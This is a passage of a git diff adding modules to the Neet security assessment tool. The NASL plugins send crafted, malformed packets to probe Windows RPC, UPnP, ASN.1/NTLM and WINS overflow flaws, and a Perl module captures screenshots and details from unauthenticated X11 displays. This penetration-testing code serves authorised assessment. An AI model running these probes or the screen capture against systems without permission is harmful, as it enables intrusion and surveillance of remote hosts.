0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 0x42,0x10,0x40,0x00,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x42,0x10,0x42,0x00, + 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x80,0x10,0x32,0x00,0x41,0x41,0x41,0x41, + 0x41,0x41,0x41,0x41,0x42,0x42,0x42,0x00,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 0x08,0x42,0x42,0x00,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x00,0x00, + 0x43,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43,0x00,0x00,0x00,0x41,0x41,0x41,0x41, + 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x41,0x41,0x41,0x41, + 0x41,0x41,0x41,0x41,0x42,0x10,0x42,0x00,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 0x42,0x10,0x42,0x00,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x10,0x32,0x00, + 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x42,0x00,0x41,0x41,0x41,0x41, + 0x41,0x41,0x41,0x41,0x08,0x42,0x00,0x00,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00); + +req += req2; + + +# ############# +# # FUNCTIONS # +# ############# + +function rpc_recv (socket) +{ + local_var header, body, len; + header = recv (socket:socket, length:24, min:24); + if (strlen(header) != 24) + return NULL; + len = get_word (blob:header, pos:8) - 24; + body = recv (socket:socket, length:len, min:len); + if (strlen(body) != len) + return NULL; + return header + body; +} + + +function Lookup(socket, type, object, interface, handle, entries) +{ + local_var data, ret, resp, obj, id, _handle, code, num_entries, pos, i; + local_var object_id, ref_id, annotation_offset, annotation_length, tower_length, tower, annotation; + + if (isnull(object)) + obj = raw_dword (d:0); + else + obj = encode_uuid(uuid:object); + + if (isnull(interface)) + id = raw_dword (d:0); + else + id = encode_uuid(uuid:interface); + + if (isnull(handle)) + _handle = crap(data:raw_string(0), length:20); + else + _handle = handle; + + data = raw_dword (d:type) + # Inquiry type + obj + # Object + id + # interface + raw_dword (d:0) + # version option + _handle + # handle + raw_dword (d:entries) ; # Max entries + + ret = dce_rpc_request(code:0x02, data:data); + send(socket:socket, data:ret); + resp = rpc_recv(socket:socket); + resp = dce_rpc_parse_response(data:resp); + + if (strlen (resp) < 28) + return NULL; + + code = get_dword (blob:resp, pos:strlen(resp)-4); + if (code != 0) + return NULL; + + _handle = substr(resp, 0, 19); + num_entries = get_dword (blob:resp, pos:20); + + pos = 24; + if (num_entries > 0) + { + pos += 12; # actual count, offset, max count + } + + ref_id = object_id = annotation = NULL; + + for (i=0 ; i 0) + { + pos += 8; + + if (strlen(resp) < pos + tower_length) + return NULL; + + tower = substr (resp, pos, pos + tower_length - 1); + ret[i+1] = raw_dword (d:strlen(annotation[i])) + annotation[i] + object_id[i] + tower; + pos += tower_length; + if (tower_length % 4) + pos += 4 - (tower_length % 4); + } + } + } + return ret; +} + + +function parse_lookup_result(data) +{ + local_var ret, num, pos, len, i, oldpos; + ret = NULL; + len = get_dword (blob:data, pos:0); + if (len > 0) + ret[1] = substr (data, 4, 4+len-1); + else + ret[1] = NULL; + pos = 4 + len; + if (strlen (data) < (pos + 18)) + return NULL; + ret[0] = decode_uuid(uuid:substr(data,pos,pos+15)); + num = get_word (blob:data, pos:pos+16); + pos = pos + 18; + + for (i=0; i= 6) + { + entry1 = decode_entry(entry:ret[2]); + entry4 = decode_entry(entry:ret[5]); + if (entry1[2] == "378e52b0-c0a9-11cf-822d-00aa0051e40f") + { + storedport = entry4[2]; + found = 1; + } + } + } + } + } +} + + +# Test for the vulnerability... + +if (!storedport) + exit (0); + +soc = open_sock_tcp(storedport); +if (soc) +{ + send(socket:soc, data:bind); + r = recv(socket:soc, length:64); + if (r) + { + send(socket:soc, data:req); + r = recv(socket:soc, length:64); + if (r) + { + if ((ord(r[28]) == 13) && (ord(r[29]) == 19) && (ord(r[30]) == 4) ) + { + display("Success"); + exit(0); + } + } + } +} diff --git a/content/WinVA/plugins/win_upnp.nasl b/content/WinVA/plugins/win_upnp.nasl new file mode 100644 index 0000000..739f1b4 --- /dev/null +++ b/content/WinVA/plugins/win_upnp.nasl @@ -0,0 +1,78 @@ +# DESC : Windows Universal PnP Vulnerabilty Check +# AUTHOR: Fizz +# DATE : 05/03/2006 +# +# NOTES : This vulnerability check script has been completely +# rewritten. It works :-) +# + + +include ('smb_func.inc'); + + +# ############# +# # FUNCTIONS # +# ############# + + +global_var rpipe; + +function PNP_QueryResConfList (pipe) +{ + local_var fid, data, rep, ret; + + fid = bind_pipe (pipe:pipe, uuid:"8d9f4e40-a03d-11ce-8f69-08003e30051b", vers:1); + if (isnull (fid)) + return 0; + + data = class_name (name:"tns") + + raw_dword (d:0) + + raw_dword (d:0) + + raw_dword (d:0) + + raw_dword (d:0) + + raw_dword (d:0); + + data = dce_rpc_pipe_request (fid:fid, code:0x36, data:data); + if (!data) + return 0; + + rep = dce_rpc_parse_response (fid:fid, data:data); + if (!rep || (strlen(rep) != 8)) + return 0; + + ret = get_dword (blob:rep, pos:4); + if (ret != 0x05) + return 0; + + return 1; +} + + +# ############# +# # THE CHECK # +# ############# + + +port = 445; + +if ( ! get_port_state(port) ) exit(0); +soc = open_sock_tcp(port); +if ( ! soc ) exit(0); + +name = kb_smb_name(); + +session_init(socket:soc, hostname:name); + + rpipe = "\srvsvc"; + r = NetUseAdd(share:"IPC$"); + +if ( r == 1 ) +{ + ret = PNP_QueryResConfList(pipe:rpipe); + if (ret == 1) + { + display("Success"); + } + + NetUseDel(); +} diff --git a/content/WinVA/plugins/windows_asn1_vuln_ntlm.nasl b/content/WinVA/plugins/windows_asn1_vuln_ntlm.nasl new file mode 100644 index 0000000..0032c6d --- /dev/null +++ b/content/WinVA/plugins/windows_asn1_vuln_ntlm.nasl @@ -0,0 +1,242 @@ +# +# This script was written by Tenable Network Security +# +# This script is released under Tenable Plugins License +# +# +# Credits to: eEye + + +if(description) +{ + script_id(12054); + script_bugtraq_id(9633, 9635, 9743, 13300); + script_cve_id("CVE-2003-0818"); + script_version ("$Revision: 1.23 $"); + script_xref(name:"IAVA", value:"2004-A-0001"); + script_xref(name:"OSVDB", value:"3902"); + + name["english"] = "ASN.1 Parsing Vulnerabilities (NTLM check)"; + script_name(english:name["english"]); + + desc["english"] = " +Synopsis : + +Arbitrary code can be executed on the remote host. + +Description : + +The remote Windows host has a ASN.1 library which is vulnerable to a +flaw which could allow an attacker to execute arbitrary code on this host. + +To exploit this flaw, an attacker would need to send a specially crafted +ASN.1 encoded packet with improperly advertised lengths. + +This particular check sent a malformed NTLM packet and determined that +the remote host is not patched. + +Solution : + +http://www.microsoft.com/technet/security/bulletin/ms04-007.mspx + +Risk factor : + +Critical / CVSS Base Score : 10.0 +(CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)"; + + script_description(english:desc["english"]); + + summary["english"] = "Checks if the remote host has a patched ASN.1 decoder (828028)"; + script_summary(english:summary["english"]); + + script_category(ACT_GATHER_INFO); + + script_copyright(english:"This script is Copyright (C) 2005-2007 Tenable Network Security"); + family["english"] = "Windows"; + script_family(english:family["english"]); + script_require_ports(139,445); + script_dependencies("netbios_name_get.nasl"); + exit(0); +} + +include("smb_func.inc"); + + +function mechListMIC() +{ + local_var data; + + data = raw_string(0x30,0x3C,0xA0,0x30,0x3B,0x2E) + + raw_string(0x04, 0x81, 0x01, 0x25) + + raw_string(0x24, 0x81, 0x27) + + raw_string(0x04, 0x01, 0x00, 0x24, 0x22, 0x24, 0x20, 0x24, + 0x18, 0x24, 0x16, 0x24, 0x14, 0x24, 0x12, 0x24, + 0x10, 0x24, 0x0e, 0x24, 0x0c, 0x24, 0x0a, 0x24, + 0x08, 0x24, 0x06, 0x24, 0x04, 0x24, 0x02, 0x04, + 0x00, 0x04, 0x82, 0x00, 0x02, 0x39, 0x25) + + raw_string(0xa1, 0x08) + + raw_string(0x04, 0x06) + + "Nessus"; + + return data; +} + + + +#---------------------------------------------------------# +# Function : ntlmssp_negotiate_securityblob2 # +# Description : Return NTLMSSP_NEGOCIATE blob # +#---------------------------------------------------------# + +function ntlmssp_negotiate_securityblob2 () +{ + local_var mechtypes, mechtoken, ntlmssp, offset; + + mechtypes = der_encode (tag:0x30, data:der_encode_oid (oid:"1.3.6.1.4.1.311.2.2.10")); + + ntlmssp = "NTLMSSP" + raw_string (0x00); + ntlmssp += raw_dword (d:1); # NTLMSSP_NEGOTIATE + ntlmssp += raw_dword (d:NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_NTLM2); # Flags + ntlmssp += ntlmssp_data (data:NULL,offset:0); # workstation domain NULL + ntlmssp += ntlmssp_data (data:NULL,offset:0); # workstation name NULL + + # Version 1.0 + ntlmssp += raw_byte (b:1) + raw_byte (b:0); + # Version Number = 0 + ntlmssp += raw_word (w:0); + + # Unknown value + ntlmssp += raw_string (0x00,0x00,0x00,0x0F); + + mechtoken = der_encode_octet_string (string:ntlmssp); + + return der_encode_negtokeninit (mechtypes:mechtypes, reqflags:NULL, mechtoken:mechtoken, mechlistmic:mechListMIC() ); +} + + +os = get_kb_item ("Host/OS/smb") ; +if ("Windows" >!< os) exit(0); + +name = kb_smb_name(); +domain = kb_smb_domain(); +if(!name)exit(0); + +port = int(get_kb_item("SMB/transport")); + +if ( ! port ) +{ + port = 445; + soc = 0; + if ( get_port_state(port) ) + { + soc = open_sock_tcp(port); + } + if ( ! soc ) + { + port = 139; + if ( ! get_port_state(port) ) exit(0); + } +} + + + +if ( ! soc ) soc = open_sock_tcp(port); +if ( ! soc ) exit(0); + +session_init (socket:soc, hostname:name); + +if ( port == 139 ) +{ + if (netbios_session_request () != TRUE) + exit (0); +} + +ret = smb_negotiate_protocol (); +if (!ret) + exit (0); + +# Some checks in the header first +header = get_smb_header (smbblob:ret); +if (!ret) + exit (0); + +if (smb_check_success (data:ret) == FALSE) + exit (0); + +code = get_header_command_code (header:header); +if (code != SMB_COM_NEGOTIATE) + exit (0); + +# We now parse/take information in SMB parameters +parameters = get_smb_parameters (smbblob:ret); +if (!parameters) + exit (0); + +DialectIndex = get_word (blob:parameters, pos:0); + +if (DialectIndex > (supported_protocol-1)) + exit (0); + +if (protocol[DialectIndex] != "NT LM 0.12") + exit (0); + +SessionKey = get_dword (blob:parameters, pos:15); +Capabilities = get_dword (blob:parameters, pos:19); + +if (Capabilities & CAP_UNICODE) + session_set_unicode (unicode:1); +else + session_set_unicode (unicode:0); + +if (Capabilities & CAP_EXTENDED_SECURITY) + session_add_flags2 (flag:SMB_FLAGS2_EXTENDED_SECURITY); +else + exit (0); + + +header = smb_header (Command: SMB_COM_SESSION_SETUP_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + +securityblob = ntlmssp_negotiate_securityblob2 (); + +parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:session_get_buffersize()) + + raw_word (w:1) + + raw_word (w:0) + + raw_dword (d:SessionKey) + + raw_word (w:strlen(securityblob)) + + raw_dword (d:0) + + raw_dword (d: CAP_UNICODE * session_is_unicode() | CAP_LARGE_FILES | CAP_NT_SMBS | CAP_STATUS32 | CAP_LEVEL_II_OPLOCKS | CAP_NT_FIND | CAP_EXTENDED_SECURITY); + +parameters = smb_parameters (data:parameters); + +# If strlen (securityblob) odd add 1 pad byte +if ((strlen (securityblob) % 2) == 0) + securityblob += raw_string(0x00); + +data = securityblob + + cstring (string:"Unix") + + cstring (string:"Nessus") + + cstring (string:domain); + +data = smb_data (data:data); + +packet = netbios_packet (header:header, parameters:parameters, data:data); + +ret = smb_sendrecv (data:packet); +if (!ret) + return NULL; + + +# Some checks in the header first +header = get_smb_header (smbblob:ret); +if (!ret) + exit (0); + +# STATUS_INVALID_PARAMETER -> patched +# STATUS_MORE_PROCESSING_REQUIRED -> vulnerable + +code = get_header_nt_error_code(header:header); +if ( code == STATUS_MORE_PROCESSING_REQUIRED) security_hole(port); diff --git a/content/WinVA/plugins/wins_overflow.nasl b/content/WinVA/plugins/wins_overflow.nasl new file mode 100644 index 0000000..7c17e28 --- /dev/null +++ b/content/WinVA/plugins/wins_overflow.nasl @@ -0,0 +1,30 @@ +# DESC : WINS Overflow +# AUTHOR: J Roach +# DATE : 27/02/2008 +# +# NOTES : This vulnerability check script is based on the +# wins_overflow.nasl provided with nessus. +# BID 9624 CVE-2003-0825 OSVDB 3903 +# MS04-006 + +port = 137; +soc = open_sock_udp(port); +if ( ! soc ) exit(0); + +request = raw_string (0x83, 0x98, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3E, 0x46, 0x45, 0x45, 0x46, 0x45, 0x4f, 0x45, 0x42, 0x45, 0x43, 0x45, + 0x4d, 0x45, 0x46 ) + crap (data:"A", length:48) + + crap (data:raw_string(0x3F), length:192) + + raw_string (0x22) + crap (data:raw_string (0x3F), length:34) + + raw_string ( 0x00, 0x00, 0x20, 0x00, 0x01); + +send(socket:soc, data:request); + +r = recv(socket:soc, length:4096); +if (!r) exit (0); + +r = substr (r, 13, 17); + +if ("FEEFE" >< r) + display("Success"); + diff --git a/content/WinVA/plugins/wins_replication_overflow.nasl b/content/WinVA/plugins/wins_replication_overflow.nasl new file mode 100644 index 0000000..5022c88 --- /dev/null +++ b/content/WinVA/plugins/wins_replication_overflow.nasl @@ -0,0 +1,44 @@ +# DESC : WINS Replication Overflow +# AUTHOR: J Roach +# DATE : 27/02/2008 +# +# NOTES : This vulnerability check script is based on the +# wins_replication_overflow.nasl provided with nessus. +# OSVDB 12370 12378 +# BID 11763,11922 +# CVE 2004-0567, 2004-1080 +# MS04-045 + +port = 42; + +soc = open_sock_tcp(port); +if ( ! soc ) exit(0); + +request = raw_string (0x00,0x00,0x00,0x29,0x00,0x00,0x78,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x02,0x00,0x05, + 0x00,0x00,0x00,0x00,0x60,0x56,0x02,0x01,0x00,0x1F,0x6E,0x03, + 0x00,0x1F,0x6E,0x03,0x08,0xFE,0x66,0x03,0x00); + +send(socket:soc, data:request); + +r = recv(socket:soc, length:4096); +if (!r) exit (0); + +if (strlen(r) < 20) exit (0); + +if (ord(r[6]) != 0x78) exit (0); + +pointer = substr(r,16,19); + +request = raw_string (0x00,0x00,0x00,0x0F,0x00,0x00,0x78,0x00) + pointer + raw_string( + 0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00); + +send(socket:soc, data:request); + +r = recv(socket:soc, length:4096); +if (!r) exit (0); + +if (strlen(r) < 8) exit (0); + +if (ord(r[6]) == 0x78) + display("Success"); diff --git a/content/X11/X11.gsm b/content/X11/X11.gsm new file mode 100644 index 0000000..56f0ba7 --- /dev/null +++ b/content/X11/X11.gsm @@ -0,0 +1,296 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package X11; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("x11.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=5; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=0; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usually /opt/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + my $TIMEOUT=60; + + # And now the code for the actual test: + my $display = ($port - 6000); + $display = 0 if ($display < 0); + my $vulnerable=0; + my $msfcli="${BasePrefix}/pkg/framework2/msfcli"; + my $msf3dir="${BasePrefix}/pkg/framework3"; + my $bindir="${BasePrefix}/pkg/bin"; + + #my $command = "cd ${msf3dir} && ./msfcli auxiliary/scanner/x11/open_x11 RHOSTS=$host RPORT=$port E 2>/dev/null"; + my $command = "msfcli auxiliary/scanner/x11/open_x11 RHOSTS=$host RPORT=$port E 2>/dev/null"; + + my ($rc,@testout)=$MainScan->TimedBackticks($TIMEOUT,$command); + my $_testout = join "==", @testout; + if ($_testout && $_testout =~ /Open X Server/){ + $vulnerable=1; + } + + if ($vulnerable){ + $MainScan->ConfigError($target,"vuln","GSM-X11-1","X11 display $display does not require authentication."); + my $rc=$MainScan->System($MainScan->getPath("xwd") . " -display $host:$display -root -out $outputDir/screenshot-$display.xwd >/dev/null 2>&1"); + if ($rc){ + $Log->Info("GSM thread $threadID ($name -> $target): Exploit for $msref FAILED to grab screenshot from X.",'LOGONLY'); + } else { + $Log->OK("Grabbed screenshot from $host:$display. Use \"xwud -in screenshot-$display.xwd\" to view it."); + local(*FH); + if (open(FH,">$outputDir/X11:$display-data.txt")){ + # Code taken from udat's xtest.pl + use X11::Protocol; + my $x = X11::Protocol->new("$host:$display"); + print FH "Vendor: " . $x->vendor . "\n"; + print FH "Version: " . $x->release_number . "\n"; + print FH "Resolution: " . $x->width_in_pixels . " x " . $x->height_in_pixels . "\n"; + my ($mode, @hosts) = $x->ListHosts; + foreach (@hosts){ + print FH "Allowed Host: $_->[0] ", join(".", unpack("C4", $_->[1])), "\n"; + } + printf FH ("Currently focused Window: 0x%x (%s)\n\n", $x->GetInputFocus, $x->GetInputFocus); + close FH; + } + } + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/createNewModule.sh b/content/createNewModule.sh new file mode 100755 index 0000000..0fc8434 --- /dev/null +++ b/content/createNewModule.sh @@ -0,0 +1,58 @@ +#!/bin/bash + +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# Creates a new neet module from the template. + +SOURCE=Template/Template.gsm.temp + +if [ ! -f "$SOURCE" ]; then + echo "You need to be in the neet modules directory for this to work!" + exit 1; +fi + +file="_temp$$" +touch "$file" +if [ ! -f "$file" ]; then + echo "You don't appear to have write permissions in this directory." + exit 1 +fi +rm "$file" + +echo "==> Please enter the new name for your module, omitting any file exension." +echo " This is CASE SENSITIVE." +read module +module=`echo $module | sed -e 's/\W//g'` +modfile=${module}.gsm + +if [ ! -f "${module}/$modfile" ]; then + echo " * Creating new module $module from $SOURCE *" + mkdir "$module" + service=`echo $module | perl -e 'print lc()'` + cat "$SOURCE" | sed -e "s/__TEMPLATE__/$module/g" -e "s/{'Enabled'}=0/{'Enabled'}=1/g" -e "s/__SERVICE__/$service/g" > "${module}/$modfile" +else + echo " * A module with this name already exists! *" + exit 1 +fi + + diff --git a/install.sh b/install.sh new file mode 100755 index 0000000..f4dc991 --- /dev/null +++ b/install.sh @@ -0,0 +1,112 @@ +#!/bin/bash + +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This is the installer for the Neet modules +export NEET=/opt/neet +export CONFIDR="${NEET}/etc" +export VERSION=`cat VERSION` +export INST="$PWD" + +if [ ! -d "$NEET" ]; then + echo "Couldn't find neet installation. Exiting." + exit 1 +fi + +. ${NEET}/core/installsupport + +if [ ! -z $INVOKEDBYNEETUPDATE ] && [ $INVOKEDBYNEETUPDATE -eq 1 ]; then + echo -n " + Installing neet module updates..." + FILESTOREMOVE="" + for file in $FILESTOREMOVE; do + rm -f "$file" + done + ####################################################### + + mkdir -p "${NEET}/modules/" + mkdir -p "${NEET}/resources/modules/" + + # The real modules + cd "${INST}/content" + for module in *; do + if [ -f "${module}/${module}.gsm" ]; then + cd "$module" + # Install the module + cp "${module}.gsm" "${NEET}/modules/" + + # Install whatever resources the module needs into the resource directory + auxin=0 + for aux in `ls | grep -v .gsm | grep -v install.sh`; do + if [ $auxin -eq 0 ]; then + rm -rf "${NEET}/resources/modules/$module" + mkdir -p "${NEET}/resources/modules/$module" 2>/dev/null + auxin=1 + fi + cp -R "$aux" "${NEET}/resources/modules/$module/" + done + # If the module needs special actions (needs config file info, or needs to write somewhere), + # it should have this in its own install.sh script. + if [ -x install.sh ]; then + ./install.sh + fi + cd "${INST}/content" + fi + done + + # Any templates + cd "${INST}/content" + for module in *; do + if [ -f "${module}/${module}.gsm.temp" ]; then + cd "$module" + # Install the module + cp "${module}.gsm.temp" "${NEET}/modules/" + + # Install whatever resources the module needs into the resource directory + auxin=0 + for aux in `ls | grep -v .gsm | grep -v install.sh`; do + if [ $auxin -eq 0 ]; then + rm -rf "${NEET}/resources/modules/$module" + mkdir -p "${NEET}/resources/modules/$module" 2>/dev/null + auxin=1 + fi + cp -R "$aux" "${NEET}/resources/modules/$module/" + done + # If the module needs special actions (needs config file info, or needs to write somewhere), + # it will have this in its own install.sh script. + if [ -x install.sh ]; then + ./install.sh + fi + cd "${INST}/content" + fi + done + + ####################################################### + newVersion neet-modules $VERSION + echo "done" +else + echo "This package is for the neet-update script and should not be installed manually." + exit 1 +fi + +exit 0 + diff --git a/uninstall.sh b/uninstall.sh new file 